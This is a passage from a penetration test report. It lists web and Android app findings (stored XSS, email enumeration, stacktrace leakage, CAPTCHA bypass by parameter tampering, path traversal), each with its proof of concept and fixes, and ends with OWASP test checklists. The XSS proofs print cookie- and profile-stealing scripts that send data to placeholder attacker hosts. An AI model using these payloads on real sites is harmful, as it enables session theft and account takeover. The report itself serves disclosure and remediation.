<img src=x onerror="document.location='https://attacker.com?cookie='+document.cookie">
```

This demonstrated that the vulnerability could be used to execute arbitrary JavaScript within the context of the victim's session, including actions like stealing session cookies, redirecting users, or modifying page content.

Impact:

The application is vulnerable to stored cross-site scripting (XSS) via the comment functionality. The implications of this issue include:

- Execution of arbitrary JavaScript in the browsers of users who view the affected thread
- Theft of session cookies, tokens, or other browser-accessible data
- Redirection to phishing or malware-hosting sites
- Visual defacement or injection of misleading content into the platform
- Abuse of the victim's privileges for unauthorized actions such as posting or data access

This vulnerability can be exploited by any user with access to the comment field and requires no further interaction from the victim beyond viewing the thread.

Recommended solution:

- Sanitize all user input submitted through the comment functionality to remove or neutralize dangerous HTML and JavaScript elements
- Use a robust and actively maintained sanitization library such as DOMPurify to enforce safe content
- Apply output encoding when rendering comments to prevent browser interpretation of injected scripts
- Avoid directly rendering user-submitted HTML unless necessary, and restrict allowed tags and attributes to a safe subset
- Deploy a strong Content Security Policy (CSP) to reduce the impact of any unintentional script execution
- Perform automated and manual testing of all input and output vectors where user content is rendered in the DOM

EXCOMINC-QU7V7890

Metadata:

Field	Value
Vulnerability type:	Stored Cross-Site Scripting
Severity:	Medium
CVSS score (vector):	6.0
Endpoint / vulnerable component:	www.subdomain1.example.com/*

Proof of concept:

The application provides a commenting feature on public threads, allowing users to post responses that are then displayed to others viewing the same thread. During testing, it was identified that the application does not sufficiently sanitize user input before rendering it in the browser.

To demonstrate the issue, the following script was submitted via the comment field:

```
<script>fetch('https://attacker.example.com?c=' + document.cookie)</script>
```

Once posted, any user who visited the thread had this script automatically executed in their browser. The script made an external request containing the user's session cookie. Other variations were also successful, including DOM manipulation and redirect logic.

This confirmed that malicious JavaScript could be delivered to any user visiting a thread with the crafted comment. The exploit did not require any user interaction beyond simply loading the page where the malicious comment was displayed.

Impact:

This stored cross-site scripting (XSS) vulnerability allows any user with comment access to deliver and execute arbitrary JavaScript in the browser of other users. The result is:

- Theft of session cookies or authentication tokens, leading to account takeover
- Redirection of users to external phishing or malware sites
- Modification of site content in the user’s view, which can be used for fraud or disinformation
- Abuse of the victim’s session to perform unauthorized actions on their behalf
- Potential propagation of further malicious comments if self-replicating payloads are used

Because the comment content is persistent and rendered for every viewer, the attack scales to affect all users who browse the affected thread.

Recommended solution:

- Sanitize all comment content on the server side using a well-audited library that removes or escapes unsafe HTML and JavaScript
- Apply output encoding when rendering comments to ensure the browser treats user input as text rather than executable code
- Enforce a strict Content Security Policy (CSP) to restrict the execution of inline scripts and loading of external content
- Limit allowed input in comments to a predefined set of safe tags and attributes, or convert input to plain text
- Include automated testing for XSS vulnerabilities in comment-related features, especially those rendered dynamically
- Review existing comments for malicious content and purge any affected data as part of the remediation process

EXCOMINC-12VHLSAOI

Metadata:

Field	Value
Vulnerability type:	Stored Cross-Site Scripting
Severity:	Medium
CVSS score (vector):	5.9
Endpoint / vulnerable component:	www.example.com

Proof of concept:

During testing, it was observed that the application does not implement proper protections against injection or execution of unauthorized client-side scripts. In a simulated attack scenario, a malicious script was introduced through a user-controllable input field that was later rendered in the DOM without appropriate sanitization or output encoding.

The following payload was used:

```
<script>
 fetch('/api/user/profile')
   .then(res => res.json())
   .then(data => {
     fetch('https://attacker.example.com/collect', {
       method: 'POST',
       headers: { 'Content-Type': 'application/json' },
       body: JSON.stringify({
         cookies: document.cookie,
         userData: data
       })
     });
   });
</script>
```

Once the script was stored and triggered in the browser of another user, it executed automatically, retrieving the victim's session cookie via document.cookie and personal details via the authenticated profile API. This information was then exfiltrated to an external server controlled during testing.

The exploit demonstrated how unrestricted client-side script execution can compromise both session integrity and user privacy.

Impact:

This vulnerability enables the execution of arbitrary JavaScript in the context of authenticated users, leading to:

- Theft of session cookies, allowing account takeover
- Unauthorized access to user profile data or other personal information available through frontend-accessible APIs
- Injection of misleading or harmful content into the user interface
- Redirection of users to phishing pages or external malicious domains
- Possible lateral movement or privilege escalation if administrative interfaces are exposed

Users are unlikely to detect the presence of such scripts, as the attack runs silently in the background upon loading affected pages.

Recommended solution:

- Sanitize all user-controllable inputs before storing or rendering them in the browser
- Use output encoding when injecting any dynamic data into the DOM, especially in HTML, JavaScript, or attribute contexts
- Enforce a strong Content Security Policy (CSP) to block inline scripts and restrict communication with untrusted domains
- Set cookies with security attributes such as HttpOnly, Secure, and SameSite=Strict to prevent access via JavaScript where applicable
- Review the application for other injection points where untrusted content could enter the DOM
- Conduct regular penetration testing focused on client-side behaviors, particularly in areas where user input is displayed or processed dynamically

EXCOMINC-YXMI22HH

Metadata:

Field	Value
Vulnerability type:	Broken Access Control
Severity:	Low
CVSS score (vector):	3.9
Endpoint / vulnerable component:	com.example.androidapplication

Proof of concept:

The application's account registration and password reset functionalities were tested for user enumeration issues. During the registration process, a POST request was sent to the endpoint:

```
POST /api/register
Content-Type: application/json
```

with the following payload:

```
{
  "email": "target@example.com",
  "password": "Test1234!",
  "name": "Test User"
}
```

If the email address had already been used to create an account, the server responded with:

```
HTTP 400 Bad Request
{
  "error": "Email address is already in use."
}
```

In contrast, if the email address was not registered, the server returned:

```
HTTP 200 OK
{
  "message": "Registration successful."
}
```

A similar behavior was observed during password reset attempts, where responses differed depending on whether the supplied email belonged to an existing account.

This behavior allowed enumeration of registered email addresses by observing response messages or status codes. A simple script could be used to test a list of email addresses and determine which ones were linked to valid user accounts.

Impact:

This issue allows unauthenticated users to verify whether specific email addresses have been registered on the platform. The consequences include:

- Exposure of user presence or affiliation with the platform
- Facilitation of targeted phishing or credential stuffing attacks
- Violation of user privacy expectations
- Potential for bulk enumeration of users using scraped or purchased email lists

This vulnerability can be particularly damaging in sensitive applications (e.g. healthcare, financial services, or private platforms) where account existence alone may be considered sensitive information.

Recommended solution:

- Standardize all responses related to registration, login, and password reset processes so that they do not reveal whether a user account exists
- Always return a generic response such as “If this email is associated with an account, further instructions have been sent”
- Avoid using distinct HTTP status codes or error messages for known vs. unknown emails
- Implement rate limiting and CAPTCHA challenges to reduce the risk of automated enumeration attacks
- Log and monitor suspicious activity involving repeated email address checks or failed registration attempts

EXCOMINC-VHOSH2JK

Metadata:

Field	Value
Vulnerability type:	Sensitive Data Exposure
Severity:	Low
CVSS score (vector):	2.9
Endpoint / vulnerable component:	www.example.com

Proof of concept:

While interacting with the application's API, a malformed request was submitted to the following endpoint:

```
POST /api/content/preview
Content-Type: application/json
```

Request body:

```
{
  "contentId": null
}
```

Instead of returning a controlled error message, the server responded with a full stacktrace:

```
HTTP 500 Internal Server Error
```

Response body:

```
TypeError: Cannot read property 'title' of null
    at renderPreview (/app/controllers/content.js:88:27)
    at Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)
    ...
```

The response revealed internal application logic, including file paths, line numbers, third-party modules (such as express, mongoose, and lodash), and the application's runtime environment. In other cases, database-related errors exposed ORM details and query structure.

This behavior was reproducible across several endpoints by submitting unexpected data types or omitting required parameters.

Impact:

The application returns full server-side stacktraces to unauthenticated users, which discloses sensitive internal information. The implications include:

- Exposure of the application's backend technology stack, including programming language, framework, and third-party libraries
- Disclosure of internal file structure and code logic, which can be used to guide further attacks (e.g. targeting known vulnerabilities in plugins)
- Increased risk of targeted exploitation if outdated or vulnerable dependencies are identified
- Leakage of configuration patterns that may assist in bypassing validation or triggering deeper logic flaws

This level of detail should never be visible to end users, especially in production environments.

Recommended solution:

- Replace full stacktrace output with generic error messages in all production environments
- Implement a centralized error-handling mechanism that logs detailed error information server-side but returns minimal feedback to clients
- Ensure debug or development flags are disabled in staging and production deployments
- Monitor for error responses with unusually verbose output and treat them as potential information leakage events
- Regularly review dependencies for known vulnerabilities using automated tooling and keep them up to date

EXCOMINC-VLSJU2KL

Metadata:

Field	Value
Vulnerability type:	Security Misconfiguration
Severity:	Low
CVSS score (vector):	2.2
Endpoint / vulnerable component:	com.example.androidapplication

Proof of concept:

The application implements a CAPTCHA mechanism as part of its registration and login protection flows. During testing, the CAPTCHA validation request was intercepted and modified prior to submission.

A typical request to the CAPTCHA verification endpoint looked like this:

```
POST /api/captcha/verify
Content-Type: application/json
```

Original request body:

```
{
  "captchaResponse": "03AHJ_Vuvk...",
  "valid": false
}
```

After modifying the `valid` parameter from `false` to `true`, the server accepted the request and marked the CAPTCHA as successfully solved:

```
{
  "status": "CAPTCHA verified"
}
```

No validation was performed on the captchaResponse token itself, and no server-side check against a CAPTCHA provider (e.g. reCAPTCHA) appeared to take place. This allowed requests to bypass the CAPTCHA challenge entirely by submitting:

```
{
  "valid": true
}
```

The vulnerability was reproducible across endpoints protected by CAPTCHA, including registration, password reset, and contact forms.

Impact:

The CAPTCHA mechanism can be bypassed by directly manipulating the request payload. As a result, the protection it is meant to provide—such as blocking bots or automated submissions—is rendered ineffective. The consequences include:

- Ability to automate account registration or login attempts, enabling credential stuffing or spam
- Increased risk of abuse for any rate-limited or trust-based functionality that relies on CAPTCHA for gating access
- Potential for email flooding, password reset abuse, or denial-of-service against user-facing systems

The flaw significantly weakens the application's defenses against automated attacks and opens the door to a variety of misuse scenarios.

Recommended solution:

- Remove client-controlled parameters such as `valid` from the CAPTCHA verification process
- Perform server-side validation by verifying CAPTCHA tokens directly with the issuing service (e.g. reCAPTCHA, hCaptcha) using the official API
- Never trust any CAPTCHA result passed from the client without independent backend verification
- Log and monitor failed or bypassed CAPTCHA attempts for signs of abuse
- Re-test CAPTCHA-protected endpoints regularly to ensure enforcement logic cannot be circumvented via parameter tampering

EXCOMINC-UVKL2LUU

Metadata:

Field	Value
Vulnerability type:	Path Traversal
Severity:	Low
CVSS score (vector):	2.1
Endpoint / vulnerable component:	www.example.com

Proof of concept:

The application provides a file upload feature intended for profile images. During testing, it was observed that the upload endpoint did not restrict the upload path or enforce strict filename handling.

The following request was issued:

```
POST /api/files/upload
Content-Type: multipart/form-data
```

With the form data:

```
file: test.txt
path: ../../public/uploads/test.txt
```

The server accepted the upload and stored the file in the specified location. It was possible to adjust the path parameter and place files into directories outside the intended upload area, including publicly accessible folders. For example:

```
path: ../../public/assets/malicious.txt
```

Accessing the uploaded file directly via the browser confirmed the placement:

```
https://example.com/assets/malicious.txt
```

No file type or extension checks were enforced, and no normalization or path sanitization was applied to the path input. The file contents remained unmodified.

Impact:

This vulnerability allows authenticated users to upload arbitrary files to unintended directories on the server. While the current upload context is limited (e.g. no execution permissions, no script parsing in target folders), the issue introduces several low-risk but noteworthy concerns:

- Possibility of overwriting existing non-critical files if filename collisions occur

- Abuse for social engineering or phishing (e.g. uploading a misleading file and sharing a trusted-looking link)
- Inappropriate file placement may affect frontend display or create user confusion
- File littering or resource exhaustion through unregulated storage usage

While no direct code execution or privilege escalation was identified, the behavior is inconsistent with secure file handling practices.

Recommended solution:

- Sanitize and normalize all user-supplied paths before saving uploaded files
- Restrict uploads to a dedicated directory with no traversal allowed outside of it
- Generate server-side filenames or use UUIDs to avoid path manipulation and naming collisions
- Apply content-type and extension filtering to restrict file types to allowed formats
- Set strict file system permissions to prevent execution or unintended access of uploaded content
- Monitor file system usage and implement quotas or cleanup policies to prevent abuse

Appendix

Evidence

Additional evidence to the penetration test, if available, can be shared upon request.

Testing guide

For this pentest engagement, the testing was based on the OWASP WSTG and OWASP MSTG list of test cases as seen below:

OWASP WSTG

Category	Tests	Completed	N/A
1. Information Gathering	1.1. Conduct Search Engine Discovery Reconnaissance for Information Leakage	x	
1. Information Gathering	1.2. Fingerprint Web Server	x	
1. Information Gathering	1.3. Review Webserver Metafiles for Information Leakage	x	
1. Information Gathering	1.4. Enumerate Applications on Webserver	x	
1. Information Gathering	1.5. Review Webpage Content for Information Leakage	x	
1. Information Gathering	1.6. Identify Application Entry description	x	
1. Information Gathering	1.7. Map Execution Paths Through Application	x	
2. Configuration and Deployment Management Testing	2.1. Test Network Infrastructure Configuration	x	

2. Configuration and Deployment Management Testing	2.2. Test Application Platform Configuration	x	
2. Configuration and Deployment Management Testing	2.3. Test File Extensions Handling for Sensitive Information	x	
2. Configuration and Deployment Management Testing	2.4. Review Old Backup and Unreferenced Files for Sensitive Information	x	
2. Configuration and Deployment Management Testing	2.5. Enumerate Infrastructure and Application Admin Interfaces	x	
2. Configuration and Deployment Management Testing	2.6. Identify and list administrative interfaces Test HTTP Methods	x	
2. Configuration and Deployment Management Testing	2.7. Test HTTP Strict Transport Security	x	
2. Configuration and Deployment Management Testing	2.8. Test RIA Cross Domain Policy	x	
2. Configuration and Deployment Management Testing	2.9. Test File Permission	x	
2. Configuration and Deployment Management Testing	2.10. Test for Subdomain Takeover	x	
3. Identity Management Testing	3.1. Test Role Definitions		x
3. Identity Management Testing	3.2. Test User Registration Process		x
3. Identity Management Testing	3.3. Test Account Provisioning Process		x
3. Identity Management Testing	3.4. Testing for Account Enumeration and Guessable User Account		x
4. Authentication Testing	4.1. Testing for Credentials Transported over an Encrypted Channel		x
4. Authentication Testing	4.2. Testing for Default Credentials	x	
4. Authentication Testing	4.3. Testing for Weak Lock Out Mechanism	x	
4. Authentication Testing	4.4. Testing for Bypassing Authentication Schema	x	
4. Authentication Testing	4.5. Testing for Vulnerable Remember Password	x	
4. Authentication Testing	4.6. Testing for Browser Cache Weaknesses	x	

4. Authentication Testing	4.7. Testing for Weak Password Policy	x	
4. Authentication Testing	4.8. Testing for Weak Security Question Answer	x	
4. Authentication Testing	4.9. Testing for Weak Password Change or Reset Functionalities	x	
5. Authorization Testing	5.1. Testing Directory Traversal File Include		x
5. Authorization Testing	5.2. Testing for Bypassing Authorization Schema	x	
5. Authorization Testing	5.3. Testing for Privilege Escalation	x	
6. Session Management Testing	6.1. Testing for Session Management Schema	x	
6. Session Management Testing	6.2. Testing for Cookies Attributes	x	
6. Session Management Testing	6.3. Testing for Session Fixation	x	
6. Session Management Testing	6.4. Testing for Exposed Session Variables	x	
6. Session Management Testing	6.5. Testing for Cross Site Request Forgery	x	
6. Session Management Testing	6.6. Testing for Logout Functionality	x	
6. Session Management Testing	6.7. Testing Session Timeout	x	
6. Session Management Testing	6.8. Testing for Session Puzzling	x	
7. Input Validation Testing	7.1. Testing for Reflected Cross Site Scripting	x	
7. Input Validation Testing	7.2. Testing for Stored Cross Site Scripting	x	
7. Input Validation Testing	7.3. Testing for HTTP Verb Tampering	x	
7. Input Validation Testing	7.4. Testing for HTTP Parameter Pollution	x	
7. Input Validation Testing	7.5. Testing for SQL Injection	x	
7. Input Validation Testing	7.6. Testing for Oracle	x	
7. Input Validation Testing	7.7. Testing for MySQL	x	
7. Input Validation Testing	7.8. Testing for SQL Server	x	

7. Input Validation Testing	7.9. Testing PostgreSQL	x
7. Input Validation Testing	7.10. Testing for MS Access	x
7. Input Validation Testing	7.11. Testing for NoSQL Injection	x
7. Input Validation Testing	7.12. Testing for ORM Injection	x
7. Input Validation Testing	7.13. Testing for Client-side	x
7. Input Validation Testing	7.14. Testing for LDAP Injection	x
7. Input Validation Testing	7.15. Testing for XML Injection	x
7. Input Validation Testing	7.16. Testing for SSI Injection	x
7. Input Validation Testing	7.17. Testing for XPath Injection	x
7. Input Validation Testing	7.18. Testing for IMAP SMTP Injection	x
7. Input Validation Testing	7.19. Testing for Code Injection	x
7. Input Validation Testing	7.20. Testing for Local File Inclusion	x
7. Input Validation Testing	7.21. Testing for Remote File Inclusion	x
7. Input Validation Testing	7.22. Testing for Command Injection	x
7. Input Validation Testing	7.23. Testing for Format String Injection	x
7. Input Validation Testing	7.24. Testing for Incubated Vulnerability	x
7. Input Validation Testing	7.25. Testing for HTTP Splitting Smuggling	x
7. Input Validation Testing	7.26. Testing for HTTP Incoming Requests	x
7. Input Validation Testing	7.27. Testing for Host Header Injection	x
7. Input Validation Testing	7.28. Testing for Server-side Template Injection	x
8. Testing for Error Handling	8.1. Testing for Improper Error Handling	x
9. Testing for Weak Cryptography	9.1. Testing for Weak Transport Layer Security	x

9. Testing for Weak Cryptography	9.2. Testing for Padding Oracle	x
9. Testing for Weak Cryptography	9.3. Testing for Sensitive Information Sent via Unencrypted Channels	x
10. Business Logic Testing	10.1. Test Business Logic Data Validation	x
10. Business Logic Testing	10.2. Test Ability to Forge Requests	x
10. Business Logic Testing	10.3. Test Integrity Checks	x
10. Business Logic Testing	10.4. Test for Process Timing	x
10. Business Logic Testing	10.5. Test Number of Times a Function Can Be Used Limits	x
10. Business Logic Testing	10.6. Testing for the Circumvention of Work Flows	x
10. Business Logic Testing	10.7. Test Defenses Against Application Misuse	x
10. Business Logic Testing	10.8. Test Upload of Unexpected File Types	x
11. Client-side Testing	11.1. Testing for DOM-Based Cross Site Scripting	x
11. Client-side Testing	11.2. Testing for JavaScript Execution	x
11. Client-side Testing	11.3. Testing for HTML Injection	x
11. Client-side Testing	11.4. Testing for Client-side URL Redirect	x
11. Client-side Testing	11.5. Testing for CSS Injection	x
11. Client-side Testing	11.6. Testing for Client-side Resource Manipulation	x
11. Client-side Testing	11.7. Testing Cross Origin Resource Sharing	x
11. Client-side Testing	11.8. Testing for Cross Site Flashing	x
11. Client-side Testing	11.9. Testing for Clickjacking	x
11. Client-side Testing	11.10. Testing WebSockets	x
11. Client-side Testing	11.11. Testing Web Messaging	x
11. Client-side Testing	11.12. Testing Browser Storage	x

11. Client-side Testing	11.13. Testing for Cross Site Script Inclusion	x

OWASP MASTG (Android)

Category	Tests	Completed	N/A
1. MASVS-STORAGE	1.1. MASTG-TEST-0207: Data Stored in the App Sandbox Runtime	x	
1. MASVS-STORAGE	1.2. MASTG-TEST-0200: Files Written to External Storage	x	
1. MASVS-STORAGE	1.3. MASTG-TEST-0201: Runtime Use of APIs to Access External Storage	x	
1. MASVS-STORAGE	1.4. MASTG-TEST-0202: References to APIs and Permissions for Accessing External Storage	x	
1. MASVS-STORAGE	1.5. MASTG-TEST-0203: Runtime Use of Logging APIs	x	
1. MASVS-STORAGE	1.6. MASTG-TEST-0004: Determining Whether Sensitive Date is Shared with Third Parties via Embedded Services	x	
1. MASVS-STORAGE	1.7. MASTG-TEST-0005: Determining Whether Sensitive Date is Shared with Third Parties via Notifications	x	
1. MASVS-STORAGE	1.8. MASTG-TEST-0216: Sensitive Data Not Excluded From Backup	x	
1. MASVS-STORAGE	1.9. MASTG-TEST-0011: Testing Memory for Sensitive Data	x	
1. MASVS-STORAGE	1.10. MASTG-TEST-0231: References to Logging APIs	x	
1. MASVS-STORAGE	1.11. MASTG-TEST-0262: References to Backup Configurations Not Excluding Sensitive Data	x	
2. MASVS-CRYPTO	2.1. MASTG-TEST-0212: Use of Hardcoded Cryptographic Keys in Code	x	

2. MASVS-CRYPTO	2.2. MASTG-TEST-0221: Weak Symmetric Encryption Algorithms	x
2. MASVS-CRYPTO	2.3. MASTG-TEST-0014: Testing the Configuration of Cryptographic Standard Algorithms	x
2. MASVS-CRYPTO	2.4. MASTG-TEST-0015: Testing the Purpose of Keys	x
2. MASVS-CRYPTO	2.5. MASTG-TEST-0204: Insecure Random API Usage	x
2. MASVS-CRYPTO	2.6. MASTG-TEST-0205: Non-random Source Usage	x
3. MASVS-AUTH	3.1. MASTG-TEST-0017: Testing Confirm Credentials	x
3. MASVS-AUTH	3.2. MASTG-TEST-0018: Testing Biometric Authentication	x
4. MASVS-NETWORK	4.1. MASTG-TEST-0233: Hardcoded HTTP URLs	x
4. MASVS-NETWORK	4.2. MASTG-TEST-0234: SSLSockets not Properly Verifying Hostnames	x
4. MASVS-NETWORK	4.3. MASTG-TEST-0235: Android App Configurations Allowing Cleartext Traffic	x
4. MASVS-NETWORK	4.4. MASTG-TEST-0236: Cleartext Traffic Observed on the Network	x
4. MASVS-NETWORK	4.5. MASTG-TEST-0217: Insecure TLS Protocols Explicitly Allowed in Code	x
4. MASVS-NETWORK	4.6. MASTG-TEST-0218: Insecure TLS Protocols in Network Traffic	x
4. MASVS-NETWORK	4.7. MASTG-TEST-0021: Testing Endpoint Identity Verification	x
4. MASVS-NETWORK	4.8. MASTG-TEST-0242: Missing Certificate Pinning in Network Security Configuration	x
4. MASVS-NETWORK	4.9. MASTG-TEST-0243: Expired Certificate Pins in the Network Security Configuration	x
4. MASVS-NETWORK	4.10. MASTG-TEST-0244: Missing Certificate Pinning in Network Traffic	x

4. MASVS-NETWORK	4.11. MASTG-TEST-0023: Testing the Security Provider	x
5. MASVS-PLATFORM	5.1. MASTG-TEST-0007: Determining Whether Sensitive Data Has Been Exposed via IPC Mechanisms	x
5. MASVS-PLATFORM	5.2. MASTG-TEST-0008: Checking for Sensitive Data Disclosure Through the User Interface	x
5. MASVS-PLATFORM	5.3. MASTG-TEST-0010: Finding Sensitive Information in Auto-Generated Screenshots	x
5. MASVS-PLATFORM	5.4. MASTG-TEST-0028: Testing Deep Links	x
5. MASVS-PLATFORM	5.5. MASTG-TEST-0029: Testing for Sensitive Functionality Exposure Through IPC	x
5. MASVS-PLATFORM	5.6. MASTG-TEST-0030: Testing for Vulnerable Implementation of PendingIntent	x
5. MASVS-PLATFORM	5.7. MASTG-TEST-0031: Testing JavaScript Execution in WebViews	x
5. MASVS-PLATFORM	5.8. MASTG-TEST-0033: Testing for Java Objects Exposed Through WebViews	x
5. MASVS-PLATFORM	5.9. MASTG-TEST-0035: Testing for Overlay Attacks	x
5. MASVS-PLATFORM	5.10. MASTG-TEST-0037: Testing WebView Cleanup	x
6. MASVS-CODE	6.1. MASTG-TEST-0002: Testing Local Storage for Input Validation	x
6. MASVS-CODE	6.2. MASTG-TEST-0025: Testing for Injection Flaws	x
6. MASVS-CODE	6.3. MASTG-TEST-0026: Testing Implicit Intents	x
6. MASVS-CODE	6.4. MASTG-TEST-0027: Testing URL Loading in Webviews	x
6. MASVS-CODE	6.5. MASTG-TEST-0034: Testing Object Persistence	x
6. MASVS-CODE	6.6. MASTG-TEST-0036: Testing Enforced Updating	x
6. MASVS-CODE	6.7. MASTG-TEST-0042: Checking for Weaknesses in Third Party Libraries	x

6. MASVS-CODE	6.8. MASTG-TEST-0043: Memory Corruption Bugs	x
7. MASVS-RESILIANCE	7.1. MASTG-TEST-0224: Usage of Insecure Signature Version	x
7. MASVS-RESILIANCE	7.2. MASTG-TEST-0225: Usage of Insecure Key Size	x
7. MASVS-RESILIANCE	7.3. MASTG-TEST-0226: Debuggable Flag Enabled in the AndroidManifest	x
7. MASVS-RESILIANCE	7.4. MASTG-TEST-0227: Debugging Enabled in WebViews	x
7. MASVS-RESILIANCE	7.5. MASTG-TEST-0040: Testing for Debugging Symbols	x
7. MASVS-RESILIANCE	7.6. MASTG-TEST-0263: Logging of StrictMode Violations	x
7. MASVS-RESILIANCE	7.7. MASTG-TEST-0045: Testing Root Detection	x
7. MASVS-RESILIANCE	7.8. MASTG-TEST-0046: Testing Anti-Debugging Detection	x
7. MASVS-RESILIANCE	7.9. MASTG-TEST-0047: Testing File Integrity Checks	x
7. MASVS-RESILIANCE	7.10. MASTG-TEST-0048: Testing Reverse Engineering Tools Detection	x
7. MASVS-RESILIANCE	7.11. MASTG-TEST-0049: Testing Emulator Detection	x
7. MASVS-RESILIANCE	7.12. MASTG-TEST-0050: Testing Runtime Integrity Checks	x
7. MASVS-RESILIANCE	7.13. MASTG-TEST-0051: Testing Obfuscation	x
8. MASVS-PRIVACY	8.1. MASTG-TEST-0206: Sensitive Date in Network Traffic Capture	x
8. MASVS-PRIVACY	8.2. MASTG-TEST-0254: Dangerous App Permissions	x
8. MASVS-PRIVACY	8.3. MASTG-TEST-0258: References to Keyboard Caching Attributes in UI Elements	x

Glossary

Black box testing: A type of penetration testing where the researcher has no prior knowledge of the internal workings or architecture of the system being tested, simulating an outsider's perspective.

CVSS: Common Vulnerability Scoring System

Exploit: A piece of software, tool, or technique used to take advantage of a vulnerability in a system, typically to gain unauthorized access or execute malicious code.

Penetration testing, or pentesting: A security testing method used to identify vulnerabilities in a system, network, or application by attempting to exploit them, simulating real-world attacks.

Risk assessment: The process of identifying, analyzing, and prioritizing potential security risks to an organization's assets, considering the likelihood and impact of various threats.

Risk mitigation: The process of reducing or eliminating the potential impact of identified risks through proactive measures such as implementing security controls, policies, and procedures.

Vulnerability: A weakness or flaw in a system's design, implementation, or configuration that could be exploited by an attacker to compromise the confidentiality, integrity, or availability of the system.

White box testing: A type of penetration testing where the researcher has full knowledge of the internal workings and architecture of the system being tested, simulating an insider's perspective.